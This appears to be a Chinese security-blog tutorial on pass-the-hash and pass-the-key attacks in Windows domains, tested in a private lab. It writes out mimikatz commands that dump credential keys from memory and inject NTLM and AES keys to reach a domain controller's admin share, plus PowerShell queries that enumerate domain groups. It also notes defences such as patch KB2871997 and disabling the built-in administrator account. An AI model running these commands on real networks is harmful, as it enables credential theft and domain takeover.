
        <html>
			<head>
			     <title>域渗透——Pass The Hash &amp; Pass The Key - 三好学生</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/11631">http://drops.wooyun.org/tips/11631</a></h1>
				
      <p>
        <h1>0x00 前言</h1>

<hr />

<p><img src="http://static.wooyun.org//drops/20151225/20151225050438743761107.png" alt="这里写图片描述" /></p>

<p>对于Pass The Hash大家应该都很熟悉，在2014年5月发生了一件有趣的事。</p>

<p>微软在2014年5月13日发布了针对Pass The Hash的更新补丁kb2871997，标题为<code>“Update to fix the Pass-The-Hash Vulnerability”</code></p>

<p>而在一周后却把标题改成了<code>“Update to improve credentials protection and management”</code></p>

<p>下面就结合这中间发生的事情更进一步的研究域渗透。</p>

<!--more-->

<h1>0x01 简介</h1>

<hr />

<p>在域渗透中，Hash和Key尤为重要，对其获取和利用一直是攻防双方最主要的关注点，所以本次就从hash 和key开始。</p>

<h1>0x02 测试环境</h1>

<hr />

<p><strong>域控：</strong></p>

<pre><code>#!bash
os:server 2008 r2 x64
ip：192.168.40.132
</code></pre>

<p><strong>域内主机：</strong></p>

<pre><code>#!bash
os:win7 x64
ip：192.168.40.225
</code></pre>

<h1>0x03 Pass The Hash</h1>

<hr />

<p>在上篇LAPS中提到，如果内网主机的本地管理员账户密码相同，那么可以通过pass the hash远程登录到任意一台主机，操作简单、威力无穷。</p>

<p>在域环境中，利用pass the hash的渗透方式往往是这样的：</p>

<ol>
<li>获得一台域主机的权限</li>
<li>Dump内存获得用户hash</li>
<li>通过pass the hash尝试登录其他主机</li>
<li>继续搜集hash并尝试远程登录</li>
<li>直到获得域管理员账户hash，登录域控，最终成功控制整个域</li>
</ol>

<p>下面简要介绍一下Pass The Hash技术发展的几段历史</p>

<h3>1、2012年12月</h3>

<p>微软发布了针对Pass The Hash攻击的防御指导，链接如下：<br />
<a href="http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf">http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf</a></p>

<p>如图 <img src="http://static.wooyun.org//drops/20151225/2015122505044082436250.png" alt="这里写图片描述" /> <img src="http://static.wooyun.org//drops/20151225/2015122505044260368339.png" alt="这里写图片描述" /></p>

<p>文章提到了一些防御方法，并在文章中说明了为什么不针对Pass The Hash提供更新补丁。</p>

<p>所以那时候Pass The Hash成为了主流的域渗透方法。</p>

<h3>2、2014年5月13日</h3>

<p>微软终于发布了更新补丁kb2871997，禁止本地管理员账户用于远程连接，这样就无法以本地管理员用户的权限执行wmi、PSEXEC、schtasks、at和访问文件共享。</p>

<p>然而，Craig在测试中发现，在打了补丁之后，常规的Pass The Hash已经无法成功，唯独默认的 Administrator (SID 500)账号例外，利用这个账号仍可以进行Pass The Hash远程连接。</p>

<p>并且值得注意的是即使administrator改名，它的SID仍然是500，这种攻击方法依然有效。所以对于防御来说，即使打了补丁也要记得禁用SID=500的管理员账户。</p>

<p>相关链接如下：<br />
<a href="http://www.pwnag3.com/2014/05/what-did-microsoft-just-break-with.html">http://www.pwnag3.com/2014/05/what-did-microsoft-just-break-with.html</a></p>

<h3>3、如今</h3>

<p>大家对Pass The Hash的认识越来越高，防御方法越来越多，比如上一篇提到的LAPS解决了域内主机本地管理员密码相同的问题。</p>

<p>同样，禁用NTLM使得psexec无法利用获得的ntlm hash进行远程连接。</p>

<h3>4、mimikatz出现</h3>

<p>它的出现再次改变了格局。mimikatz实现了在禁用NTLM的环境下仍然可以远程连接。</p>

<p>下面就实际测试一下其中的细节</p>

<h1>0x04 Pass The Key</h1>

<hr />

<h3>测试1：使用NTLM hash远程连接</h3>

<p>已知信息：</p>

<pre><code>#!bash
* Username : a
* Domain   : TEST
* NTLM     : efa85b42d77dc2fdbdbdb767792b0a11

远程主机ip：192.168.40.132
</code></pre>

<p>如图 <img src="http://static.wooyun.org//drops/20151225/2015122505044495195437.png" alt="这里写图片描述" /></p>

<p>在测试主机上：</p>

<p>以管理员权限运行</p>

<pre><code>#!bash
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /ntlm:efa85b42d77dc2fdbdbdb767792b0a11"
</code></pre>

<p>弹出cmd</p>

<pre><code>#!bash
dir \\192.168.40.132\c$
</code></pre>

<p>成功</p>

<p>如图 <img src="http://static.wooyun.org//drops/20151225/2015122505044680079528.png" alt="这里写图片描述" /> <img src="http://static.wooyun.org//drops/20151225/2015122505044827259627.png" alt="这里写图片描述" /></p>

<blockquote>
  <p>注:<br />
  虽然"sekurlsa::pth"在mimikatz中被称之为"Pass The Hash",但是其已经超越了以前的"Pass The Hash"，部分人将其命名为"Overpass-the-hash"，也就是"Pass-the-key"</p>
</blockquote>

<h3>测试2：使用aes key远程连接</h3>

<p>已知信息：</p>

<pre><code>#!bash
* Username : a
* Domain   : TEST.LOCAL
* Key List :
    aes256_hmac       f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c
    aes128_hmac       8cce86e4b0630f07fcf5f2110068c421
    rc4_hmac_nt       efa85b42d77dc2fdbdbdb767792b0a11
    rc4_hmac_old      efa85b42d77dc2fdbdbdb767792b0a11
    rc4_md4           efa85b42d77dc2fdbdbdb767792b0a11
    rc4_hmac_nt_exp   efa85b42d77dc2fdbdbdb767792b0a11
    rc4_hmac_old_exp  efa85b42d77dc2fdbdbdb767792b0a11
</code></pre>

<blockquote>
  <p>注：<br />
  获取aes key 的mimikatz命令为：<br />
  mimikatz "privilege::debug" "sekurlsa::ekeys"</p>
</blockquote>

<p>如图 <img src="http://static.wooyun.org//drops/20151225/2015122505044917031724.png" alt="这里写图片描述" /></p>

<blockquote>
  <p>Tips:<br />
  通常情况下无法对mimikatz输出回显的内容进行复制，一种好的方法是使用日志记录功能将回显内容输出到文件中，开启日志记录功能后会把输出回显的内容保存在同级目录下的mimikatz.log中，命令参考如下：<br />
  mimikatz log privilege::debug sekurlsa::ekeys<br />
  如果通过右键-编辑-标记的方式复制数据，当前窗口会崩溃,如图：<br />
  <img src="http://static.wooyun.org//drops/20151225/201512250504516416583.jpg" alt="这里写图片描述" /></p>
</blockquote>

<p>在测试主机上：</p>

<p>以管理员权限运行</p>

<pre><code>#!bash
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c" 
</code></pre>

<p>发现无法导入aes256</p>

<p>如图 <img src="http://static.wooyun.org//drops/20151225/2015122505045217078921.png" alt="这里写图片描述" /></p>

<p>无法远程连接，如图 <img src="http://static.wooyun.org//drops/20151225/20151225050454286581020.png" alt="这里写图片描述" /></p>

<p>查看mimikatz的相关资料发现如下信息：</p>

<blockquote>
  <p>ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash.</p>
</blockquote>

<p>根据提示，尝试在系统安装补丁kb2871997后继续测试</p>

<h3>测试3：使用aes key远程连接（kb2871997 Installed）</h3>

<p>已知信息：</p>

<pre><code>#!bash
* Username : a
* Domain   : TEST.LOCAL
* Key List :
    aes256_hmac       f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c
    aes128_hmac       8cce86e4b0630f07fcf5f2110068c421
    rc4_hmac_nt       efa85b42d77dc2fdbdbdb767792b0a11
    rc4_hmac_old      efa85b42d77dc2fdbdbdb767792b0a11
    rc4_md4           efa85b42d77dc2fdbdbdb767792b0a11
    rc4_hmac_nt_exp   efa85b42d77dc2fdbdbdb767792b0a11
    rc4_hmac_old_exp  efa85b42d77dc2fdbdbdb767792b0a11

测试主机：
安装kb2871997补丁
</code></pre>

<p>如图 <img src="http://static.wooyun.org//drops/20151225/20151225050455410531124.png" alt="这里写图片描述" /></p>

<p>在测试主机上：</p>

<p>以管理员权限运行</p>

<pre><code>#!bash
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes256:f74b379b5b422819db694aaf78f49177ed21c98ddad6b0e246a7e17df6d19d5c" 
</code></pre>

<p>可以成功导入aes256</p>

<p>如图 <img src="http://static.wooyun.org//drops/20151225/20151225050456386661218.png" alt="这里写图片描述" /></p>

<p>远程连接</p>

<pre><code>#!bash
dir \\WIN-8VVLRPIAJB0\c$
</code></pre>

<p>成功</p>

<p>如图 <img src="http://static.wooyun.org//drops/20151225/20151225050458431061316.png" alt="这里写图片描述" /></p>

<blockquote>
  <p>注：<br />
  dir要使用主机名 而不是ip，不然会提示用户名或密码错误</p>
</blockquote>

<p>换用aes128测试：</p>

<pre><code>#!bash
mimikatz "privilege::debug" "sekurlsa::pth /user:a /domain:test.local /aes128:8cce86e4b0630f07fcf5f2110068c421" 
</code></pre>

<p>如图 <img src="http://static.wooyun.org//drops/20151225/20151225050459142691416.png" alt="这里写图片描述" /> <img src="http://static.wooyun.org//drops/20151225/20151225050500556701517.png" alt="这里写图片描述" /></p>

<p>成功</p>

<blockquote>
  <p>注：<br />
  如果不更换密码，aes key可以一直被用来远程连接。</p>
</blockquote>

<h1>0x05 补充</h1>

<hr />

<p>如果域控权限分配不严格，我们在域普通用户主机下通过wmi查询可以查到当前域内的用户组</p>

<h3>1、查看Administrators组</h3>

<p>powershell执行</p>

<pre><code>#!bash
$members = @($([ADSI]”WinNT://TEST/Administrators”).psbase.Invoke(“Members”))
$members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) } 
</code></pre>

<p>如图 <img src="http://static.wooyun.org//drops/20151225/20151225050502418301615.png" alt="这里写图片描述" /></p>

<h3>2、查看Domain Users组</h3>

<pre><code>#!bash
$members = @($([ADSI]”WinNT://TEST/Domain Users”).psbase.Invoke(“Members”))
$members | foreach { $_.GetType().InvokeMember(“ADspath”, ‘GetProperty’, $null, $_, $null) }
</code></pre>

<p>如图 <img src="http://static.wooyun.org//drops/20151225/20151225050503548801715.png" alt="这里写图片描述" /></p>

<h1>0x06 小结</h1>

<hr />

<p>做任何事情都一样，细节往往决定成败，只有在深入了解后我才发现aes key和kb2871997之间的关系，才解锁了远程连接的新方法。</p>

<h1>0x07 参考链接：</h1>

<hr />

<ul>
<li><a href="http://www.rsaconference.com/writable/presentations/file_upload/hta-w03-pass-the-hash-how-attackers-spread-and-how-to-stop-them.pdf">http://www.rsaconference.com/writable/presentations/file_upload/hta-w03-pass-the-hash-how-attackers-spread-and-how-to-stop-them.pdf</a></li>
<li><a href="http://www.harmj0y.net/blog/penetesting/pass-the-hash-is-dead-long-live-pass-the-hash/">http://www.harmj0y.net/blog/penetesting/pass-the-hash-is-dead-long-live-pass-the-hash/</a></li>
<li><a href="http://www.infosecisland.com/blogview/23787-Windows-Update-to-Fix-Pass-the-Hash-Vulnerability-Not.html">http://www.infosecisland.com/blogview/23787-Windows-Update-to-Fix-Pass-the-Hash-Vulnerability-Not.html</a></li>
<li><a href="http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf">http://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating%20Pass-the-Hash%20(PtH)%20Attacks%20and%20Other%20Credential%20Theft%20Techniques_English.pdf</a></li>
<li><a href="http://www.pwnag3.com/2014/05/what-did-microsoft-just-break-with.html">http://www.pwnag3.com/2014/05/what-did-microsoft-just-break-with.html</a></li>
<li><a href="http://www.2cto.com/Article/201405/304557.html">http://www.2cto.com/Article/201405/304557.html</a></li>
<li><a href="https://technet.microsoft.com/en-us/security/dn785092">https://technet.microsoft.com/en-us/security/dn785092</a></li>
<li><a href="http://blogs.technet.com/b/heyscriptingguy/archive/2012/12/15/weekend-scripter-use-powershell-to-find-local-administrators-on-a-computer.aspx">http://blogs.technet.com/b/heyscriptingguy/archive/2012/12/15/weekend-scripter-use-powershell-to-find-local-administrators-on-a-computer.aspx</a></li>
<li><a href="https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa">https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa</a></li>
<li><a href="http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/">http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/</a></li>
</ul>

<p><strong>本文由三好学生原创并首发于乌云drops，转载请注明</strong></p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          